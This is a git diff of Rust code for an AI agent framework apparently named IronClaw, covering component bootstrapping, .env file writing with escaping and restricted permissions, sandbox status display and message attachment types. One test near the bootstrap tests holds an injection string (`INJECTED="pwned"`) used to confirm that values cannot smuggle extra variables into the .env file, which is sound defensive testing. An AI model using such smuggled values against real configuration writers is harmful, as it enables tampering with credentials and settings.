}; + + // Create extension manager. Use ephemeral in-memory secrets if no + // persistent store is configured (listing/install/activate still work). + let ext_secrets: Arc = if let Some(ref s) = + self.secrets_store + { + Arc::clone(s) + } else { + use crate::secrets::{InMemorySecretsStore, SecretsCrypto}; + let ephemeral_key = + secrecy::SecretString::from(crate::secrets::keychain::generate_master_key_hex()); + let crypto = Arc::new(SecretsCrypto::new(ephemeral_key).expect("ephemeral crypto")); + tracing::debug!("Using ephemeral in-memory secrets store for extension manager"); + Arc::new(InMemorySecretsStore::new(crypto)) + }; + let extension_manager = { + let manager = Arc::new(ExtensionManager::new( + Arc::clone(&mcp_session_manager), + ext_secrets, + Arc::clone(tools), + Some(Arc::clone(hooks)), + wasm_tool_runtime.clone(), + self.config.wasm.tools_dir.clone(), + self.config.channels.wasm_channels_dir.clone(), + self.config.tunnel.public_url.clone(), + "default".to_string(), + self.db.clone(), + catalog_entries.clone(), + )); + tools.register_extension_tools(Arc::clone(&manager)); + tracing::info!("Extension manager initialized with in-chat discovery tools"); + Some(manager) + }; + + // register_builder_tool() already calls register_dev_tools() internally, + // so only register them here when the builder didn't already do it. + let builder_registered_dev_tools = self.config.builder.enabled + && (self.config.agent.allow_local_tools || !self.config.sandbox.enabled); + if self.config.agent.allow_local_tools && !builder_registered_dev_tools { + tools.register_dev_tools(); + } + + Ok(( + mcp_session_manager, + wasm_tool_runtime, + extension_manager, + catalog_entries, + dev_loaded_tool_names, + )) + } + + /// Run all init phases in order and return the assembled components. + pub async fn build_all(mut self) -> Result { + self.init_database().await?; + self.init_secrets().await?; + + // Post-init validation: if a non-nearai backend was selected but + // credentials were never resolved (deferred resolution found no keys), + // fail early with a clear error instead of a confusing runtime failure. + if self.config.llm.backend != "nearai" && self.config.llm.provider.is_none() { + let backend = &self.config.llm.backend; + anyhow::bail!( + "LLM_BACKEND={backend} is configured but no credentials were found. \ + Set the appropriate API key environment variable or run the setup wizard." + ); + } + + let (llm, cheap_llm, recording_handle) = if let Some(llm) = self.llm_override.take() { + (llm, None, None) + } else { + self.init_llm()? + }; + let (safety, tools, embeddings, workspace) = self.init_tools(&llm).await?; + + // Create hook registry early so runtime extension activation can register hooks. + let hooks = Arc::new(HookRegistry::new()); + + let ( + mcp_session_manager, + wasm_tool_runtime, + extension_manager, + catalog_entries, + dev_loaded_tool_names, + ) = self.init_extensions(&tools, &hooks).await?; + + // Seed workspace and backfill embeddings + if let Some(ref ws) = workspace { + // Import workspace files from disk FIRST if WORKSPACE_IMPORT_DIR is set. + // This lets Docker images / deployment scripts ship customized + // workspace templates (e.g., AGENTS.md, TOOLS.md) that override + // the generic seeds. Only imports files that don't already exist + // in the database — never overwrites user edits. + // + // Runs before seed_if_empty() so that custom templates take priority + // over generic seeds. seed_if_empty() then fills any remaining gaps. + if let Ok(import_dir) = std::env::var("WORKSPACE_IMPORT_DIR") { + let import_path = std::path::Path::new(&import_dir); + match ws.import_from_directory(import_path).await { + Ok(count) if count > 0 => { + tracing::info!("Imported {} workspace file(s) from {}", count, import_dir); + } + Ok(_) => {} + Err(e) => { + tracing::warn!( + "Failed to import workspace files from {}: {}", + import_dir, + e + ); + } + } + } + + match ws.seed_if_empty().await { + Ok(_) => {} + Err(e) => { + tracing::warn!("Failed to seed workspace: {}", e); + } + } + + if embeddings.is_some() { + let ws_bg = Arc::clone(ws); + tokio::spawn(async move { + match ws_bg.backfill_embeddings().await { + Ok(count) if count > 0 => { + tracing::info!("Backfilled embeddings for {} chunks", count); + } + Ok(_) => {} + Err(e) => { + tracing::warn!("Failed to backfill embeddings: {}", e); + } + } + }); + } + } + + // Skills system + let (skill_registry, skill_catalog) = if self.config.skills.enabled { + let mut registry = SkillRegistry::new(self.config.skills.local_dir.clone()) + .with_installed_dir(self.config.skills.installed_dir.clone()); + let loaded = registry.discover_all().await; + if !loaded.is_empty() { + tracing::info!("Loaded {} skill(s): {}", loaded.len(), loaded.join(", ")); + } + let registry = Arc::new(std::sync::RwLock::new(registry)); + let catalog = crate::skills::catalog::shared_catalog(); + tools.register_skill_tools(Arc::clone(®istry), Arc::clone(&catalog)); + (Some(registry), Some(catalog)) + } else { + (None, None) + }; + + let context_manager = Arc::new(ContextManager::new(self.config.agent.max_parallel_jobs)); + let cost_guard = Arc::new(crate::agent::cost_guard::CostGuard::new( + crate::agent::cost_guard::CostGuardConfig { + max_cost_per_day_cents: self.config.agent.max_cost_per_day_cents, + max_actions_per_hour: self.config.agent.max_actions_per_hour, + }, + )); + + tracing::info!( + "Tool registry initialized with {} total tools", + tools.count() + ); + + Ok(AppComponents { + config: self.config, + db: self.db, + secrets_store: self.secrets_store, + llm, + cheap_llm, + safety, + tools, + embeddings, + workspace, + extension_manager, + mcp_session_manager, + wasm_tool_runtime, + log_broadcaster: self.log_broadcaster, + context_manager, + hooks, + skill_registry, + skill_catalog, + cost_guard, + recording_handle, + session: self.session, + catalog_entries, + dev_loaded_tool_names, + }) + } +} diff --git a/src/boot_screen.rs b/src/boot_screen.rs index 881c0f1a..d9590ccc 100644 --- a/src/boot_screen.rs +++ b/src/boot_screen.rs @@ -20,8 +20,10 @@ pub struct BootInfo { pub heartbeat_enabled: bool, pub heartbeat_interval_secs: u64, pub sandbox_enabled: bool, + pub docker_status: crate::sandbox::detect::DockerStatus, pub claude_code_enabled: bool, pub routines_enabled: bool, + pub skills_enabled: bool, pub channels: Vec, /// Public URL from a managed tunnel (e.g., "https://abc.ngrok.io"). pub tunnel_url: Option, @@ -35,6 +37,7 @@ pub fn print_boot_screen(info: &BootInfo) { let bold = "\x1b[1m"; let cyan = "\x1b[36m"; let dim = "\x1b[90m"; + let yellow = "\x1b[33m"; let yellow_underline = "\x1b[33;4m"; let reset = "\x1b[0m"; @@ -90,8 +93,19 @@ pub fn print_boot_screen(info: &BootInfo) { let mins = info.heartbeat_interval_secs / 60; features.push(format!("heartbeat ({mins}m)")); } - if info.sandbox_enabled { - features.push("sandbox".to_string()); + match info.docker_status { + crate::sandbox::detect::DockerStatus::Available => { + features.push("sandbox".to_string()); + } + crate::sandbox::detect::DockerStatus::NotInstalled => { + features.push(format!("{yellow}sandbox (docker not installed){reset}")); + } + crate::sandbox::detect::DockerStatus::NotRunning => { + features.push(format!("{yellow}sandbox (docker not running){reset}")); + } + crate::sandbox::detect::DockerStatus::Disabled => { + // Don't show sandbox when disabled + } } if info.claude_code_enabled { features.push("claude-code".to_string()); @@ -99,6 +113,9 @@ pub fn print_boot_screen(info: &BootInfo) { if info.routines_enabled { features.push("routines".to_string()); } + if info.skills_enabled { + features.push("skills".to_string()); + } if !features.is_empty() { println!( " {dim}features{reset} {cyan}{}{reset}", @@ -140,6 +157,7 @@ pub fn print_boot_screen(info: &BootInfo) { #[cfg(test)] mod tests { use super::*; + use crate::sandbox::detect::DockerStatus; #[test] fn test_print_boot_screen_full() { @@ -158,8 +176,10 @@ mod tests { heartbeat_enabled: true, heartbeat_interval_secs: 1800, sandbox_enabled: true, + docker_status: DockerStatus::Available, claude_code_enabled: false, routines_enabled: true, + skills_enabled: true, channels: vec![ "repl".to_string(), "gateway".to_string(), @@ -189,8 +209,10 @@ mod tests { heartbeat_enabled: false, heartbeat_interval_secs: 0, sandbox_enabled: false, + docker_status: DockerStatus::Disabled, claude_code_enabled: false, routines_enabled: false, + skills_enabled: false, channels: vec![], tunnel_url: None, tunnel_provider: None, @@ -216,8 +238,10 @@ mod tests { heartbeat_enabled: false, heartbeat_interval_secs: 0, sandbox_enabled: false, + docker_status: DockerStatus::Disabled, claude_code_enabled: false, routines_enabled: false, + skills_enabled: false, channels: vec!["repl".to_string()], tunnel_url: None, tunnel_provider: None, diff --git a/src/bootstrap.rs b/src/bootstrap.rs index 3641c790..f9ca6fd5 100644 --- a/src/bootstrap.rs +++ b/src/bootstrap.rs @@ -7,13 +7,75 @@ //! File: `~/.ironclaw/.env` (standard dotenvy format) use std::path::PathBuf; +use std::sync::LazyLock; + +const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR"; + +/// Lazily computed IronClaw base directory, cached for the lifetime of the process. +static IRONCLAW_BASE_DIR: LazyLock = LazyLock::new(compute_ironclaw_base_dir); + +/// Compute the IronClaw base directory from environment. +/// +/// This is the underlying implementation used by both the public +/// `ironclaw_base_dir()` function (which caches the result) and tests +/// (which need to verify different configurations). +pub fn compute_ironclaw_base_dir() -> PathBuf { + std::env::var(IRONCLAW_BASE_DIR_ENV) + .map(PathBuf::from) + .map(|path| { + if path.as_os_str().is_empty() { + default_base_dir() + } else if !path.is_absolute() { + eprintln!( + "Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory", + path.display() + ); + path + } else { + path + } + }) + .unwrap_or_else(|_| default_base_dir()) +} + +/// Get the default IronClaw base directory (~/.ironclaw). +/// +/// Logs a warning if the home directory cannot be determined and falls back to +/// the current directory. +fn default_base_dir() -> PathBuf { + if let Some(home) = dirs::home_dir() { + home.join(".ironclaw") + } else { + eprintln!("Warning: Could not determine home directory, using current directory"); + std::env::current_dir() + .unwrap_or_else(|_| PathBuf::from("/tmp")) + .join(".ironclaw") + } +} + +/// Get the IronClaw base directory. +/// +/// Override with `IRONCLAW_BASE_DIR` environment variable. +/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined). +/// +/// Thread-safe: the value is computed once and cached in a `LazyLock`. +/// +/// # Environment Variable Behavior +/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used. +/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset. +/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used. +/// - If the home directory cannot be determined, a warning is printed and the current directory is used. +/// +/// # Returns +/// A `PathBuf` pointing to the base directory. The path is not validated +/// for existence. +pub fn ironclaw_base_dir() -> PathBuf { + IRONCLAW_BASE_DIR.clone() +} /// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`. pub fn ironclaw_env_path() -> PathBuf { - dirs::home_dir() - .unwrap_or_else(|| PathBuf::from(".")) - .join(".ironclaw") - .join(".env") + ironclaw_base_dir().join(".env") } /// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`). @@ -22,11 +84,16 @@ pub fn ironclaw_env_path() -> PathBuf { /// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites /// existing env vars, so the effective priority is: /// -/// explicit env vars > `./.env` > `~/.ironclaw/.env` +/// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect /// /// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does, /// extracts `DATABASE_URL` from it and writes the `.env` file (one-time /// upgrade from the old config format). +/// +/// After loading the `.env` file, auto-detects the libsql backend: if +/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists, +/// defaults to `libsql` so cloud instances work out of the box without any +/// manual configuration. pub fn load_ironclaw_env() { let path = ironclaw_env_path(); @@ -38,6 +105,22 @@ pub fn load_ironclaw_env() { if path.exists() { let _ = dotenvy::from_path(&path); } + + // Auto-detect libsql: if DATABASE_BACKEND is still unset after loading + // all env files, and the local SQLite DB exists, default to libsql. + // This avoids the chicken-and-egg problem on cloud instances where no + // DATABASE_URL is configured but ironclaw.db is already present. + if std::env::var("DATABASE_BACKEND").is_err() { + let default_db = dirs::home_dir() + .unwrap_or_default() + .join(".ironclaw") + .join("ironclaw.db"); + if default_db.exists() { + // SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()` + // before the Tokio runtime is started, so no other threads exist yet. + unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") }; + } + } } /// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`. @@ -92,7 +175,14 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) { /// Values are double-quoted so that `#` (common in URL-encoded passwords) /// and other shell-special characters are preserved by dotenvy. pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> { - let path = ironclaw_env_path(); + save_bootstrap_env_to(&ironclaw_env_path(), vars) +} + +/// Write bootstrap vars to an arbitrary path (testable variant). +/// +/// Values are double-quoted and escaped so that `#`, `"`, `\` and other +/// shell-special characters are preserved by dotenvy. +pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> { if let Some(parent) = path.parent() { std::fs::create_dir_all(parent)?; } @@ -103,7 +193,75 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> { let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); content.push_str(&format!("{}=\"{}\"\n", key, escaped)); } - std::fs::write(&path, content) + std::fs::write(path, &content)?; + restrict_file_permissions(path)?; + Ok(()) +} + +/// Update or add a single variable in `~/.ironclaw/.env`, preserving existing content. +/// +/// Unlike `save_bootstrap_env` (which overwrites the entire file), this +/// reads the current `.env`, replaces the line for `key` if it exists, +/// or appends it otherwise. Use this when writing a single bootstrap var +/// outside the wizard (which manages the full set via `save_bootstrap_env`). +pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> { + upsert_bootstrap_var_to(&ironclaw_env_path(), key, value) +} + +/// Update or add a single variable at an arbitrary path (testable variant). +pub fn upsert_bootstrap_var_to( + path: &std::path::Path, + key: &str, + value: &str, +) -> std::io::Result<()> { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + + let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); + let new_line = format!("{}=\"{}\"", key, escaped); + let prefix = format!("{}=", key); + + let existing = std::fs::read_to_string(path).unwrap_or_default(); + + let mut found = false; + let mut result = String::new(); + for line in existing.lines() { + if line.starts_with(&prefix) { + if !found { + result.push_str(&new_line); + result.push('\n'); + found = true; + } + // Skip duplicate lines for this key + continue; + } + result.push_str(line); + result.push('\n'); + } + + if !found { + result.push_str(&new_line); + result.push('\n'); + } + + std::fs::write(path, result)?; + restrict_file_permissions(path)?; + Ok(()) +} + +/// Set restrictive file permissions (0o600) on Unix systems. +/// +/// The `.env` file may contain database credentials and API keys, +/// so it should only be readable by the owner. +fn restrict_file_permissions(_path: &std::path::Path) -> std::io::Result<()> { + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let perms = std::fs::Permissions::from_mode(0o600); + std::fs::set_permissions(_path, perms)?; + } + Ok(()) } /// Write `DATABASE_URL` to `~/.ironclaw/.env`. @@ -125,9 +283,7 @@ pub async fn migrate_disk_to_db( store: &dyn crate::db::Database, user_id: &str, ) -> Result<(), MigrationError> { - let ironclaw_dir = dirs::home_dir() - .unwrap_or_else(|| PathBuf::from(".")) - .join(".ironclaw"); + let ironclaw_dir = ironclaw_base_dir(); let legacy_settings_path = ironclaw_dir.join("settings.json"); if !legacy_settings_path.exists() { @@ -261,8 +417,11 @@ pub enum MigrationError { #[cfg(test)] mod tests { use super::*; + use std::sync::Mutex; use tempfile::tempdir; + static ENV_MUTEX: Mutex<()> = Mutex::new(()); + #[test] fn test_save_and_load_database_url() { let dir = tempdir().unwrap(); @@ -492,4 +651,339 @@ INJECTED="pwned"#; assert_eq!(parsed.len(), 2); assert!(parsed.iter().all(|(k, _)| k != "DATABASE_URL")); } + + #[test] + fn test_onboard_completed_round_trips_through_env() { + let dir = tempdir().unwrap(); + let env_path = dir.path().join(".env"); + + // Simulate what the wizard writes: bootstrap vars + ONBOARD_COMPLETED + let vars = [ + ("DATABASE_BACKEND", "libsql"), + ("ONBOARD_COMPLETED", "true"), + ]; + let mut content = String::new(); + for (key, value) in &vars { + let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); + content.push_str(&format!("{}=\"{}\"\n", key, escaped)); + } + std::fs::write(&env_path, &content).unwrap(); + + // Verify dotenvy parses ONBOARD_COMPLETED correctly + let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path) + .unwrap() + .filter_map(|r| r.ok()) + .collect(); + assert_eq!(parsed.len(), 2); + let onboard = parsed.iter().find(|(k, _)| k == "ONBOARD_COMPLETED"); + assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present"); + assert_eq!(onboard.unwrap().1, "true"); + } + + #[test] + fn test_libsql_autodetect_sets_backend_when_db_exists() { + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("DATABASE_BACKEND").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("DATABASE_BACKEND") }; + + let dir = tempdir().unwrap(); + let db_path = dir.path().join("ironclaw.db"); + + // No DB file — auto-detect guard should not trigger. + assert!(!db_path.exists()); + let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists(); + assert!( + !would_trigger, + "should not auto-detect when db file is absent" + ); + + // Create the DB file — guard should now trigger. + std::fs::write(&db_path, "").unwrap(); + assert!(db_path.exists()); + + // Simulate the detection logic (DATABASE_BACKEND unset + db exists). + let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists(); + assert!( + detected, + "should detect libsql when db file is present and backend unset" + ); + + // Restore. + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("DATABASE_BACKEND", val) }; + } + } + + // === QA Plan P1 - 1.2: Bootstrap .env round-trip tests === + + #[test] + fn bootstrap_env_round_trips_llm_backend() { + let dir = tempdir().unwrap(); + let env_path = dir.path().join(".env"); + + // Simulate what the wizard writes for LLM backend selection + let vars = [ + ("DATABASE_BACKEND", "libsql"), + ("LLM_BACKEND", "openai"), + ("ONBOARD_COMPLETED", "true"), + ]; + let mut content = String::new(); + for (key, value) in &vars { + let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); + content.push_str(&format!("{}=\"{}\"\n", key, escaped)); + } + std::fs::write(&env_path, &content).unwrap(); + + // Verify dotenvy parses LLM_BACKEND correctly + let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path) + .unwrap() + .filter_map(|r| r.ok()) + .collect(); + + let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND"); + assert!(llm_backend.is_some(), "LLM_BACKEND must be present"); + assert_eq!( + llm_backend.unwrap().1, + "openai", + "LLM_BACKEND must survive .env round-trip" + ); + } + + #[test] + fn test_libsql_autodetect_does_not_override_explicit_backend() { + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("DATABASE_BACKEND").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") }; + + let dir = tempdir().unwrap(); + let db_path = dir.path().join("ironclaw.db"); + std::fs::write(&db_path, "").unwrap(); + + // The guard: only sets libsql if DATABASE_BACKEND is NOT already set. + let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists(); + assert!( + !would_override, + "must not override an explicitly set DATABASE_BACKEND" + ); + + // Restore. + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("DATABASE_BACKEND", val) }; + } else { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("DATABASE_BACKEND") }; + } + } + + #[test] + fn bootstrap_env_special_chars_in_url() { + let dir = tempdir().unwrap(); + let env_path = dir.path().join(".env"); + + // URLs with special characters that are common in database passwords + let url = "postgres://user:p%23ss@host:5432/db?sslmode=require"; + let escaped = url.replace('\\', "\\\\").replace('"', "\\\""); + let content = format!("DATABASE_URL=\"{}\"\n", escaped); + std::fs::write(&env_path, &content).unwrap(); + + let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path) + .unwrap() + .filter_map(|r| r.ok()) + .collect(); + + assert_eq!(parsed.len(), 1); + assert_eq!(parsed[0].1, url, "URL with special chars must survive"); + } + + #[test] + fn upsert_bootstrap_var_preserves_existing() { + let dir = tempdir().unwrap(); + let env_path = dir.path().join(".env"); + + // Write initial content + let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n"; + std::fs::write(&env_path, initial).unwrap(); + + // Upsert a new var + let content = std::fs::read_to_string(&env_path).unwrap(); + let new_line = "LLM_BACKEND=\"anthropic\""; + let mut result = content.clone(); + result.push_str(new_line); + result.push('\n'); + std::fs::write(&env_path, &result).unwrap(); + + // Parse and verify all three vars are present + let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path) + .unwrap() + .filter_map(|r| r.ok()) + .collect(); + + assert_eq!(parsed.len(), 3, "should have 3 vars after upsert"); + assert!( + parsed + .iter() + .any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"), + "original DATABASE_BACKEND must be preserved" + ); + assert!( + parsed + .iter() + .any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"), + "original ONBOARD_COMPLETED must be preserved" + ); + assert!( + parsed + .iter() + .any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"), + "new LLM_BACKEND must be present" + ); + } + + #[test] + fn bootstrap_env_all_wizard_vars_round_trip() { + let dir = tempdir().unwrap(); + let env_path = dir.path().join(".env"); + + // Full set of vars the wizard might write + let vars = [ + ("DATABASE_BACKEND", "postgres"), + ("DATABASE_URL", "postgres://u:p@h:5432/db"), + ("LLM_BACKEND", "nearai"), + ("ONBOARD_COMPLETED", "true"), + ("EMBEDDING_ENABLED", "false"), + ]; + let mut content = String::new(); + for (key, value) in &vars { + let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); + content.push_str(&format!("{}=\"{}\"\n", key, escaped)); + } + std::fs::write(&env_path, &content).unwrap(); + + let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path) + .unwrap() + .filter_map(|r| r.ok()) + .collect(); + + assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip"); + for (key, value) in &vars { + let found = parsed.iter().find(|(k, _)| k == key); + assert!(found.is_some(), "{key} must be present"); + assert_eq!(&found.unwrap().1, value, "{key} value mismatch"); + } + } + + #[test] + fn test_ironclaw_base_dir_default() { + // This test must run first (or in isolation) before the LazyLock is initialized. + // It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used. + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("IRONCLAW_BASE_DIR").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") }; + + // Force re-evaluation by calling the computation function directly + let path = compute_ironclaw_base_dir(); + let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from(".")); + assert_eq!(path, home.join(".ironclaw")); + + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) }; + } + } + + #[test] + fn test_ironclaw_base_dir_env_override() { + // This test verifies that when IRONCLAW_BASE_DIR is set, + // the custom path is used. Must run before LazyLock is initialized. + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("IRONCLAW_BASE_DIR").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") }; + + // Force re-evaluation by calling the computation function directly + let path = compute_ironclaw_base_dir(); + assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path")); + + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) }; + } else { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") }; + } + } + + #[test] + fn test_compute_base_dir_env_path_join() { + // Verifies that ironclaw_env_path correctly joins .env to the base dir. + // Uses compute_ironclaw_base_dir directly to avoid LazyLock caching. + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("IRONCLAW_BASE_DIR").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") }; + + // Test the path construction logic directly + let base_path = compute_ironclaw_base_dir(); + let env_path = base_path.join(".env"); + assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env")); + + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) }; + } else { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") }; + } + } + + #[test] + fn test_ironclaw_base_dir_empty_env() { + // Verifies that empty IRONCLAW_BASE_DIR falls back to default. + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("IRONCLAW_BASE_DIR").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") }; + + // Force re-evaluation by calling the computation function directly + let path = compute_ironclaw_base_dir(); + let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from(".")); + assert_eq!(path, home.join(".ironclaw")); + + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) }; + } else { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") }; + } + } + + #[test] + fn test_ironclaw_base_dir_special_chars() { + // Verifies that paths with special characters are handled correctly. + let _guard = ENV_MUTEX.lock().unwrap(); + let old_val = std::env::var("IRONCLAW_BASE_DIR").ok(); + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") }; + + // Force re-evaluation by calling the computation function directly + let path = compute_ironclaw_base_dir(); + assert_eq!( + path, + std::path::PathBuf::from("/tmp/test_with-special.chars") + ); + + if let Some(val) = old_val { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) }; + } else { + // SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests + unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") }; + } + } } diff --git a/src/channels/channel.rs b/src/channels/channel.rs index d87c8240..3ab5c1f6 100644 --- a/src/channels/channel.rs +++ b/src/channels/channel.rs @@ -1,5 +1,6 @@ //! Channel trait and message types. +use std::collections::HashMap; use std::pin::Pin; use async_trait::async_trait; @@ -9,6 +10,56 @@ use uuid::Uuid; use crate::error::ChannelError; +/// Kind of attachment carried on an incoming message. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum AttachmentKind { + /// Audio content (voice notes, audio files). + Audio, + /// Image content (photos, screenshots). + Image, + /// Document content (PDFs, files). + Document, +} + +impl AttachmentKind { + /// Infer attachment kind from MIME type. + pub fn from_mime_type(mime: &str) -> Self { + let base = mime.split(';').next().unwrap_or(mime).trim(); + if base.starts_with("audio/") { + Self::Audio + } else if base.starts_with("image/") { + Self::Image + } else { + Self::Document + } + } +} + +/// A file or media attachment on an incoming message. +#[derive(Debug, Clone)] +pub struct IncomingAttachment { + /// Unique identifier within the channel (e.g., Telegram file_id). + pub id: String, + /// What kind of content this is. + pub kind: AttachmentKind, + /// MIME type (e.g., "image/jpeg", "audio/ogg", "application/pdf"). + pub mime_type: String, + /// Original filename, if known. + pub filename: Option, + /// File size in bytes, if known. + pub size_bytes: Option, + /// URL to download the file from the channel's API. + pub source_url: Option, + /// Opaque key for host-side storage (e.g., after download/caching). + pub storage_key: Option, + /// Extracted text content (e.g., OCR result, PDF text, audio transcript). + pub extracted_text: Option, + /// Raw file bytes (for small files downloaded by the channel). + pub data: Vec, + /// Duration in seconds (for audio/video). + pub duration_secs: Option, +} + /// A message received from an external channel. #[derive(Debug, Clone)] pub struct IncomingMessage { @@ -28,6 +79,10 @@ pub struct IncomingMessage { pub received_at: DateTime, /// Channel-specific metadata. pub metadata: serde_json::Value, + /// IANA timezone string from the client (e.g. "America/New_York"). + pub timezone: Option, + /// File or media attachments on this message. + pub attachments: Vec, } impl IncomingMessage { @@ -46,6 +101,8 @@ impl IncomingMessage { thread_id: None, received_at: Utc::now(), metadata: serde_json::Value::Null, + timezone: None, + attachments: Vec::new(), } } @@ -66,6 +123,18 @@ impl IncomingMessage { self.user_name = Some(name.into()); self } + + /// Set the client timezone. + pub fn with_timezone(mut self, tz: impl Into) -> Self { + self.timezone = Some(tz.into()); + self + } + + /// Set attachments. + pub fn with_attachments(mut self, attachments: Vec) -> Self { + self.attachments = attachments; + self + } } /// Stream of incoming messages. @@ -78,6 +147,8 @@ pub struct OutgoingResponse { pub content: String, /// Optional thread ID to reply in. pub thread_id: Option, + /// Optional file paths to attach. + pub attachments: Vec, /// Channel-specific metadata for the response. pub metadata: serde_json::Value, } @@ -88,6 +159,7 @@ impl OutgoingResponse { Self { content: content.into(), thread_id: None, + attachments: Vec::new(), metadata: serde_json::Value::Null, } } @@ -97,6 +169,12 @@ impl OutgoingResponse { self.thread_id = Some(thread_id.into()); self } + + /// Add attachments to the response. + pub fn with_attachments(mut self, paths: Vec) -> Self { + self.attachments = paths; + self + } } /// Status update types for showing agent activity. @@ -107,7 +185,20 @@ pub enum StatusUpdate { /// Tool execution started. ToolStarted { name: String }, /// Tool execution completed. - ToolCompleted { name: String, success: bool }, + /// + /// Use [`StatusUpdate::tool_completed`] to construct this variant — it + /// handles redaction of sensitive parameters and keeps the 9-line pattern + /// in one place. + ToolCompleted { + name: String, + success: bool, + /// Error message when success is false. + error: Option, + /// Tool input parameters (JSON string) for display on failure. + /// Only populated when `success` is `false`. Values listed in the + /// tool's `sensitive_params()` are replaced with `"[REDACTED]"`. + parameters: Option, + }, /// Brief preview of tool execution output. ToolResult { name: String, preview: String }, /// Streaming text chunk. @@ -142,6 +233,38 @@ pub enum 